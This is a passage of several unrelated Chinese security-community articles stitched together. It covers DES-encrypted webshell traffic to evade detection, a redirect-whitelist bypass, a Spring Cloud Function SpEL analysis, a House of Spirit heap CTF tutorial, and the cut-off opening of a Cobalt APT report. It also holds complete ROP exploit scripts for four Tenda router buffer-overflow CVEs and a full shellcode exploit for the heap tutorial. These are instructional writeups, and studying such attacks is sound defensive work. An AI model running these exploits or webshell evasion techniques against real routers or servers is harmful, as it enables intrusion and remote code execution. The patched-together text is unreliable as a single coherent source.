CaiDaoProxy 的 HTTP 代理功能可使用 Python 的 BaseHTTPServer 基础库完成，默认监听本地一个端口，比如 9000；然后
caidao.exe 地址栏填入
`http://127.0.0.1:9000/?=http://www.example.com/webshell.jsp`，真正请求地址由
CaiDaoProxy 剥离出来即可。
* 对于常见的 php、asp、aspx等一句话 webshell 来说：
1. 可在 caidao.exe 向服务端发送 request 包时，用CaiDaoProxy.py 拦截请求，随机化参数名并组合两种及以上不同的简单编码(如php的 **base64_encode - > strrev-> base64_encode**)，编码参数值来混淆请求流量，然后再发给服务端;
2. 服务端 Webshell 根据编码方式，解码请求值，并在服务端执行；
3. 可更改 caidao.conf 文件或者在 CaiDaoProxy.py 脚本中统一修改发往服务端执行的代码，将服务端执行的内容输出 `print` 或者 `echo`值进行相应编码；
4. CaiDaoProxy.py 脚本拦截到编码后的服务端输出，根据编码方法，统一解码后返回给 caidao.exe 即可。
* 对于 jsp 一句话 Webshell 来说：主要逻辑都在服务端的 jsp 脚本中，所以我们可以选择基础的对称加密算法 DES 来加密通信流量。然后可约定加解密方法：
1. CaiDaoProxy 发送请求前，进行 **DES加密 - > Base64编码**
2. 服务端接收请求后，进行 **Base64解码 - > DES解密**
3. 服务端输出响应结果时，进行 **DES加密 - > Base64编码**
4. CaiDaoProxy 接收响应后，进行 **Base64解码 - > DES解密**
**服务端关键加解密代码：**
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.DESKeySpec;
import javax.crypto.SecretKeyFactory;
import java.security.SecureRandom;
// 密钥
String DesKey = "LandGrey";
// DES 加密函数
byte[] DesEncrpyt(String content) {
try {
SecureRandom random = new SecureRandom();
DESKeySpec desKey = new DESKeySpec(DesKey.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(desKey);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, securekey, random);
return cipher.doFinal(content.getBytes());
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}
// DES 解密函数
byte[] DesDecrpyt(byte[] content) {
try {
SecureRandom random = new SecureRandom();
DESKeySpec desKey = new DESKeySpec(DesKey.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(desKey);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.DECRYPT_MODE, securekey, random);
return cipher.doFinal(content);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}
**CaiDaoProxy 关键加解密代码：**
import base64
from pyDes import des, ECB, PAD_PKCS5
// 密钥
DesKey = "LandGrey"
// DES加解密类
class DesCipher:
def __init__(self, secret_key):
self.secret_key = secret_key
def encrypt(self, s):
iv = self.secret_key
k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(bytes(s), padmode=PAD_PKCS5)
return en
def decrypt(self, s):
iv = self.secret_key
k = des(self.secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(s, padmode=PAD_PKCS5)
return de
然后，就可以参考本文 **0x03：源文件免杀** 的思路，将新的支持流量加解密的 jsp 一句话 Webshell 进行 unicode
编码，一个简单的源文件免杀和通信流量加密的 JSP 一句话 Webshell 就制作完成了。
CaiDaoProxy.py 使用效果图：
### 0x05：后记
在编写通用的有文件一句话 Webshell HTTP 代理 CaiDaoProxy 过程中，相当自己又梳理了一遍 caidao.exe
工具的基本原理，对后面更高级的 Webshell Detect Bypass 技术的学习大有裨益。
虽然这种源脚本和流量都免杀的一句话已经适应较多绕过检测的场景，但当防护软件有进程监控、组件监控或 RASP 功能时，如果使用 caidao.exe
的虚拟终端功能，有极大概率会被检测出来，这也是目前一个比较重要，且需要考虑的 Webshell Bypass 问题。 | 社区文章 |
开局一张图，故事全靠编。。。
get新技能：
对于利用url跳转绕过referer的判断也是最近才发现的。另外还发现有些厂商对跳百度/谷歌等域名是有白名单的。但是他们设计白名单的时候没有考虑过百度/谷歌翻译是可以翻译网站的。所以可以利用这个特性，绕过跳转的白名单。翻译后的域名如下：
[http://fanyi.baidu.com/transpage?query=www.farmsec.com&source=url&ie=utf8&from=en&to=zh&render=1](http://fanyi.baidu.com/transpage?query=www.farmsec.com&source=url&ie=utf8&from=en&to=zh&render=1)
可以看到是百度的域名再前面的~~
由于暴漫制作器的排版问题，有些东西只能删除掉~~ 要是哪做的不够好的，还请各位表哥谅解，权当看个段子~
电脑换成kali 拖更了半年，最近才换回windows~~ | 社区文章 |
# CVE-2022-22963 SpringCloud Function SpEL注入漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在研究分析了CVE-2022-22980 Spring Data MongoDB
SpEL表达式注入漏洞之后，想起之前在spring4shell爆出之前，存在于SpringCloud
Function中的一个SpEL表达式注入漏洞，编号为CVE-2022-22963。在这里对其进行一波分析和学习。
## 漏洞描述
Spring Cloud Function 是基于 Spring Boot
的函数计算框架。该项目致力于促进函数为主的开发单元，它抽象出所有传输细节和基础架构，并提供一个通用的模型，用于在各种平台上部署基于函数的软件。在Spring
Cloud Function 相关版本，存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL
表达式，最终执行任意命令，获取服务器权限。
## 利用范围
3.0.0 <= Spring Cloud Function <= 3.2.2
## 漏洞分析
### **环境搭建**
使用idea新建Spring Cloud Function项目。
pom.xml中引入spring-boot-starter-web、spring-cloud-function-web
在application.properties中添加spring.cloud.function.definition=functionRouter
这里设置端口为8090，默认为8080
运行之后，环境搭建完成。
### **前置知识**
**SpringCloud Function 相关介绍**
简单的介绍，Spring Cloud 是一系列框架的集合，
内部包含了许多框架，这些框架互相协作，共同来构建分布式系统。利用这些组件，可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件（FAAS）。
在环境搭建时，我们在application.properties中添加spring.cloud.function.definition=functionRouter
这里的属性spring.cloud.function.definition 表示声明式函数组合，简单理解就是一个默认路由。具体可参考如下说明。
**functionRouter**
我们设置spring.cloud.function.definition=functionRouter就是使默认路由绑定具体函数交由用户进行控制。
在spring-cloud-function-web中可以通过设置Message
Headers来传达路由指令，也可以路通过spring.cloud.function.definition
或spring.cloud.function.routing-expression作为应用程序属性进行通信，允许使用 Spring 表达式语言
(SpEL)。
这就是产生SpEL注入的关键所在。
### **动态分析**
在理解了前置知识中相关原理，其实也就能大概知晓漏洞原理。
查看DIFF（https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f）记录。
看到从请求头中获取的 spring.cloud.function.routing-expression
之前是由StandardEvaluationContext 解析，修复新增了 isViaHeader 变量做了一个判断，如果是从请求头中获取的
spring.cloud.function.routing-expression 值，使用 SimpleEvaluationContext 解析。
在spring.cloud.function.context.catalog.simpleFunctionRegistry#doApply中。
在执行function apply方法之后，会跳转到doApply中，对funtion进行判断，判断是不是functionRouter方法。
后续跟进，进入spring.cloud.function.context.config.Routingfunction#route
进入else if 分支， http头spring.cloud.function.routing-expression
不为空，则传入其值到functionFromExpression方法。
随后对传入的header进行解析处理。
后续跟进发现对Spel表达式进行解析的方法就是StandardEvaluationContext
后续跟进，在解析传入的Spel之后，成功触发恶意代码。
## 漏洞复现
## 修复建议
受影响的组件更新至3.1.7、3.2.3安全版本。
## 参考材料
1.https://docs.spring.io/spring-cloud-function/docs/3.2.2/reference/html/spring-cloud-function.html#_declarative_function_composition
2.https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
3.https://spring.io.zh.xy2401.com/projects/spring-cloud-function/#overview | 社区文章 |
## 前言
[CVE-2020-13394](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13394) | An issue was discovered on Tenda AC6
V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0
V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi _TD01, and AC18
V15.03.05.19(6318_ )_CN devices. There is a buffer overflow vulnerability in
the router's web server -- httpd. While processing the
/goform/SetNetControlList list parameter for a POST request, a value is
directly used in a strcpy to a local variable placed on the stack, which
overwrites the return address of a function. An attacker can construct a
payload to carry out arbitrary code execution attacks.
---|---
[CVE-2020-13392](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13392) | An issue was discovered on Tenda AC6
V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0
V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi _TD01, and AC18
V15.03.05.19(6318_ )_CN devices. There is a buffer overflow vulnerability in
the router's web server -- httpd. While processing the /goform/setcfm
funcpara1 parameter for a POST request, a value is directly used in a sprintf
to a local variable placed on the stack, which overwrites the return address
of a function. An attacker can construct a payload to carry out arbitrary code
execution attacks.
[CVE-2020-13391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13391) | An issue was discovered on Tenda AC6
V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0
V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi _TD01, and AC18
V15.03.05.19(6318_ )_CN devices. There is a buffer overflow vulnerability in
the router's web server -- httpd. While processing the /goform/SetSpeedWan
speed_dir parameter for a POST request, a value is directly used in a sprintf
to a local variable placed on the stack, which overwrites the return address
of a function. An attacker can construct a payload to carry out arbitrary code
execution attacks.
[CVE-2020-13390](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13390) | An issue was discovered on Tenda AC6
V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0
V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi _TD01, and AC18
V15.03.05.19(6318_ )_CN devices. There is a buffer overflow vulnerability in
the router's web server -- httpd. While processing the /goform/addressNat
entrys and mitInterface parameters for a POST request, a value is directly
used in a sprintf to a local variable placed on the stack, which overwrites
the return address of a function. An attacker can construct a payload to carry
out arbitrary code execution attacks.
这4个TendaCVE都是同一个程序的缓冲区溢出漏洞，本文是基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现的。
固件可在github下载：<https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333>
## 通用的gadget
╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1
╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程：
1. 溢出后跳到第一个gadget1，控制r3寄存器为system函数地址，第一个pc控制为gadget2
2. 跳转到gadget2后，控制r0为要执行的命令即可
3. 执行system(cmd)
## qemu用户级调试启动
安装qemu-user-static
sudo apt install qemu-user-static
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下，启动httpd服务
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd
## CVE-2020-13394
漏洞的成因是web服务在处理post请求时，对list参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetQosBand函数。
//formSetQosBand
list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C);
sub_7DD20(list, (int)"bandwidth.mode", 0xAu);
int __fastcall sub_7DD20(char *list, int a2, unsigned __int8 a3)
{
char dest; // [sp+5CCh] [bp-260h]
char *src; // [sp+81Ch] [bp-10h]
list_1 = list;
c = a3;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x100u);
sub_7DB3C(v4);
src = list_1;
while ( 1 )
{
v58 = strchr(src, c);
if ( !v58 )
break;
v59 = 0;
*v58++ = 0;
memset(&dest, 0, 0x100u);
strcpy(&dest, src);
程序直接将list参数使用strcpy函数复制到栈变量dest中，容易造成栈溢出。
在qemu用户级调试中能看到调用了system(cmd)就能说明成功完成漏洞利用了。
poc如下：
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
libc_base = 0xf659c000
'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
## CVE-2020-13392
漏洞的成因是web服务在处理post请求时，对funcpara1参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetCfm函数。
//formSetCfm
v17 = (char *)sub_2BA8C(v2, (int)"funcname", (int)&unk_DFA30);
if ( *v17 )
{
if ( !strcmp(v17, "save_list_data") )
{
funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30);
funcpara2 = (char *)sub_2BA8C(v2, (int)"funcpara2", (int)&unk_DFA30);
sub_4EC58((int)funcpara1, funcpara2, '~');
}
}
//sub_4EC58
char s; // [sp+11Ch] [bp-58h]
char *v10; // [sp+15Ch] [bp-18h]
int v11; // [sp+160h] [bp-14h]
char *v12; // [sp+164h] [bp-10h]
memset(&s, 0, 0x40u);
sprintf(&s, "%s.listnum", v6);
SetValue(&s, "0");
memset(&s, 0, 0x40u);
memset(&v8, 0, 0x100u);
sprintf(&s, "%s.list%d", v6, ++v11);
result = GetValue((int)&s, (int)&v8);
在当解析到存在参数funcname为save_list_data时，就会解析提交的表单中的funcpara1参数，在sub_4EC58函数中使用sprintf函数直接将该参数复制到栈缓冲区中。并且因为参数funcpara1后面会接上.list字符串，因此在指定命令后面需要添加分号;
payload如下：
payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}
## CVE-2020-13391
漏洞的成因是web服务在处理post请求时，对speed_dir参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetSpeedWan函数。
//formSetSpeedWan
char s[32]; // [sp+30h] [bp-3Ch]
void *v12; // [sp+50h] [bp-1Ch]
char *v13; // [sp+54h] [bp-18h]
char *speed_dir; // [sp+58h] [bp-14h]
int v15; // [sp+5Ch] [bp-10h]
speed_dir = sub_2BA8C(a1, "speed_dir", "0");
v13 = sub_2BA8C(v2, "ucloud_enable", "0");
v12 = sub_2BA8C(v2, "password", "0");
GetValue("speedtest.flag", &nptr);
sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);
解析speed_dir参数后，使用sprintf函数，将speed_dir与{"errCode":0,"speed_dir":%s}格式化字符串拼接起来赋值给栈变量。用户可控的空间在栈变量s偏移为25以后，而溢出偏移为0x3c，需要填充的字符数为35。
payload如下：
payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
## CVE-2020-13390
漏洞的成因是web服务在处理post请求时，对entrys和mitInterface参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到fromAddressNat函数。
//fromAddressNat
char s; // [sp+114h] [bp-318h]
char v7; // [sp+314h] [bp-118h]
void *v8; // [sp+414h] [bp-18h]
void *v9; // [sp+418h] [bp-14h]
void *v10; // [sp+41Ch] [bp-10h]
v4 = a1;
memset(&v5, 0, 0x100u);
entrys = sub_2BA8C(v4, "entrys", &unk_E5D48);
mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48);
sprintf(&s, "%s;%s", entrys, mitInterface);
程序解析entrys和mitInterface参数后直接使用sprintf函数赋值到栈变量s中，容易造成栈溢出。
payload如下：
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
## 总结
汇总一下以上4个CVE的对应的qemu用户级调试的poc
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
libc_base = 0xf659c000
'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
'''
# CVE-2020-13394
payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}
# CVE-2020-13392
payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}
# CVE-2020-13391
payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}
# CVE-2020-13390
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
'''
另外提一下CVE-2020-13393和CVE-2020-13389，在CVE描述中，漏洞成因都是栈溢出，但是经过分析，它们其实是堆溢出，不能直接套poc的模板覆盖返回返回地址。 | 社区文章 |
# 【技术分享】堆之House of Spirit
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[ray_cp](http://bobao.360.cn/member/contribute?uid=2796348634)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
终于做到了这里，一直听说什么house of lore、house of
spirit什么的，之前一直不会，只是听听。到湖湘杯的时候里面有一题note，最后是用这个house of
spirit解决掉的，比赛结束以后决定花时间把这个给好好的看看，也拿一道题做例子来实践实践，题是l-ctf2016的题，分析了堆的部分源码，看了几篇大牛的文章，最后pwn成功了，于是就有了这篇总结。掌握这个技巧前提是对堆的结构以及管理需要一定的了解，不懂的可以在网上找一些资料去补补。
**House of Spirit原理**
House of
Spirit（下面称为hos）算是一个组合型漏洞的利用，是变量覆盖和堆管理机制的组合利用，关键在于能够覆盖一个堆指针变量，使其指向可控的区域，只要构造好数据，释放后系统会错误的将该区域作为堆块放到相应的fast
bin里面，最后再分配出来的时候，就有可能改写我们目标区域。还是像以前一样，先上一段代码给大家一个直观印象再具体解释，这段代码是shellfish的github里面的[源码](https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c)。
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.n");
printf("Calling malloc() once so that it sets up its memory.n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region must contain two chunks. The first starts at %p and the second at %p.n", &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .n");
fake_chunks[9] = 0x2240; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %pn", malloc(0x30));
}
**A、hos的经典利用场景的条件如下** **
**
（1）想要控制的目标区域的前段空间与后段空间都是可控的内存区域
一般来说想要控制的目标区域多为返回地址或是一个函数指针，正常情况下，该内存区域我们输入的数据是无法控制的，想要利用hos攻击技术来改写该区域，首先需要我们可以控制那片目标区域的前面空间和后面空间，示意图如下。
（2）存在可将堆变量指针覆盖指向为可控区域，即上一步中的区域
**B、利用思路**
（1）伪造堆块
看了上面的两个情景，反应快的人可能明白了hos的主要意图了，那就是，在可控1及可控2构造好数据，将它伪造成一个fastbin。
（2）覆盖堆指针指向上一步伪造的堆块。
（3）释放堆块，将伪造的堆块释放入fastbin的单链表里面。
（4）申请堆块，将刚刚释放的堆块申请出来，最终使得可以往目标区域中写入数据，实现目的。
需要说明的是第一步中的伪造堆块的过程，fastbin是一个单链表结构，遵循FIFO的规则，32位系统中fastbin的大小是在16~64字节之间，64位是在32~128字节之间。释放时会进行一些检查，所以需要对伪堆块中的数据进行构造，使其顺利的释放进到fastbin里面，看堆free过程中相关的源代码。
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
[...]
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p)) /*首先M标志位不能被置上才能绕过。release mmapped memory. */
{
munmap_chunk(p);
return;
}
#endif
ar_ptr = arena_for_chunk(p);
[...]
_int_free(ar_ptr, mem);
首先mmap标志位不能被置上，否则会直接调用munmap_chunk函数去释放堆块。
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
[...]
p = mem2chunk(mem);
size = chunksize(p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /*其次，size的大小不能超过fastbin的最大值*/
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) /*最后是下一个堆块的大小，要大于2*SIZE_ZE小于system_mem*/
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
fb = &(av->fastbins[fastbin_index(size)]);
[...]
p->fd = *fb;
}
其次是伪造堆块的size字段不能超过fastbin的最大值，超过的话，就不会释放到fastbin里面了。
最后是下一个堆块的大小，要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误。
对应到伪造堆块那张示意图来说，需要在可控区域1中伪造好size字段绕过第一个和第二个检查，可控区域2则是伪造的是下一个堆块的size来绕过最后一个检查。
所以总的来说，hos的主要意思是我们想要控制的区域控制不了，但它前面和后面都可以控制，所以伪造好数据将它释放到fastbin里面，后面将该内存区域当做堆块申请出来，致使该区域被当做普通的内存使用，从而目标区域就变成了可控的了。
**
**
**l-ctf2016–pwn200**
hos原理就是上面讲的，下面就是具体的实践，我所知道的是l-ctf2016的pwn200和湖湘杯的note，考察的都是这个技能点。下面主要是用l-ctf2016的pwn200来讲述这题。
还是先从程序功能说起。
**A、程序功能**
先是输入用户名，这里有个off-by-one漏洞，输入48个字符即可泄露出rbp栈的地址。
接着输入id，这里让我无语的是ida在给我反编译的时候，input_num返回的值并没有保存在某个内存区域里面，导致后面饶了很大一圈找不到可以伪造的区域绕过检查，后面在汇编窗口看到，是有保存返回值的(图里面的var38便是保存返回值的地方)，所以说IDA的反编译插件也不可全信啊。这个id对应的就是前面说的可控区域2。
最后输入money，可以看到输入的money可以覆盖到dest堆指针，这正是满足了前面说的可以覆盖堆指针的条件。同时这里保存money的区域也就是前面说的可控区域1。完成前面三个步骤后，进到循环之中。check
in函数功能如下，判断全局变量ptr是否为空，是的话，输入size，malloc申请空间。
check out函数的功能是简单的调用free函数释放空间，将全局指针置0.
**B、查看防护机制**
首先查看开启的安全机制
可以看到，基本上什么保护都没开，可以直接在堆栈中部署shellcode，只要泄露出堆栈地址，并控制函数流执行到shellcode就可以了。
**C、利用思路**
先看下官方出题人写的wp（个人觉得wp写的有点点问题）。
1\.
首先泄露出栈地址，然后覆盖堆指针为栈上的可控区域，我们可以精巧的构造这块区域成一个伪造的堆块，之后通过free，这个堆块即被加入到了fastbin中，然后再通过malloc，即可对这个堆块的空间进行任意写，这时只要覆盖栈上的返回地址为一个jmp
rsp，再通过一个short jmp，来执行shellcode，即可获得shell
2\. 另外，在构造堆块时，同时要构造好相邻的下一个堆块的头部，使得其prev_inuse == 1（在free的时候会检查）
3\. （其实这个漏洞利用的过程也叫house-of-spirit）
4\. 然而。事实上由于我的疏忽，可以直接覆盖指针为got表函数的地址，然后strcpy修改got表函数的地址，即可执行shellcode，sigh:(
这题有比较简单的解法，但为了说明hos，还是按照hos的步骤来具体说明。
（1）获取堆栈地址
前面说过，输入name时可以利用off-by-one泄露堆栈地址，name输入时不会使用'x00'截断，如果输入48个字符，最终打印时会将rbp中的值打印出来。
（2）伪造堆块
伪造堆块的过程示意图如下,在money中输入的是伪堆块的size，在id里输入的是下一个堆块的size，以此绕过free释放堆块时候系统的检查。
（3）覆盖堆指针，在输入money的时候，会覆盖堆块。
（4）调用free函数将伪堆块释放到fastbin中
（5）申请堆块，将刚刚的伪堆块申请出来
（6）输入数据，即可修改目标区域，eip，使其指向shellcode。control the world~
**D、最终exp**
exp最终如下，里面还有部分注释。
from pwn import *
from ctypes import *
DEBUG = 1
if DEBUG:
p = process('./pwn200')
else:
r = remote('172.16.4.93', 13025)
shellcode=""
shellcode += "x31xf6x48xbbx2fx62x69x6e"
shellcode += "x2fx2fx73x68x56x53x54x5f"
shellcode += "x6ax3bx58x31xd2x0fx05"
def pwn():
#gdb.attach(p,"b *0x400991")
##### off-by-one 泄露栈地址
data='aaaaaaaa'+shellcode
data=data.ljust(46,'a')
data+='bb'
p.send(data)
p.recvuntil('bb')
rbp_addr=p.recvuntil(', w')[:-3]
rbp_addr=u64(rbp_addr.ljust(8,'x00'))
print hex(rbp_addr)
fake_addr=rbp_addr-0x90
shellcode_addr=rbp_addr-0x48
###输入id 伪造下一个堆块的size
p.recvuntil('id ~~?')
p.send('32'+'n')
p.recvuntil('money~')
data=p64(0)*4+p64(0)+p64(0x41) ####伪造堆块的size
data=data.ljust(0x38,'x00')+p64(fake_addr) ####覆盖堆指针
p.send(data)
p.recvuntil('choice : ')
p.send('2'+'n') ####释放伪堆块进入fastbin
p.recvuntil('choice : ')
p.send('1'+'n')
p.recvuntil('long?')
p.send('48n')
p.recvuntil('n48n') #####将伪堆块申请出来
data='a'*0x18+p64(shellcode_addr) #####将eip修改为shellcode的地址
data=data.ljust(48,'x00')
p.send(data)
p.recvuntil('choice : ')
p.send('3n') ####退出返回时会去执行shellcode
p.interactive()
if __name__ == '__main__':
pwn()
执行结果：
**小结**
到这里这个hos算是讲完了，是自己的一个小总结，也希望对大家有点帮助吧。说到底，主要是在于目标区域（函数指针）不可控制，而它前面和后面的数据可以用来将这片内存伪造成一个堆块，释放从而进入到fastbin里面，最后再申请出来，从而实现控制目标区域的目的。
一步一步走来，感觉做堆的题最主要的还是要把堆管理的源码多看看，搞明白了以后，其他的学起来就好搞了。后面还有很多要看要学，继续前进。
**参考文章**
[](https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/)
[x86 Exploitation 101: “House of Spirit” – Friendly stack
overflow](https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/)
[【CTF攻略】L-CTF 2016 官方 Writeup](http://bobao.360.cn/ctf/detail/170.html)
[MALLOC DES-MALEFICARUM](http://phrack.org/issues/66/10.html)
[how2heap/house_of_spirit.c](https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c) | 社区文章 |
# 【APT报告】Cobalt再度来袭：不断演化的国际金融业威胁
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.ptsecurity.com/2017/08/cobalt-group-2017-cobalt-strikes-back.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**1、引言**
****
近年来黑客攻击银行系统的事件频频发生，银行网络风险防控备受考验。在数字经济高度发展的今天，黑客攻击的方式也层出不穷，令人防不胜防。近期，名为Cobalt的黑客组织也将攻击目标指向各大银行。该组织2016年开始从事黑客活动，近期极为活跃。
Positive
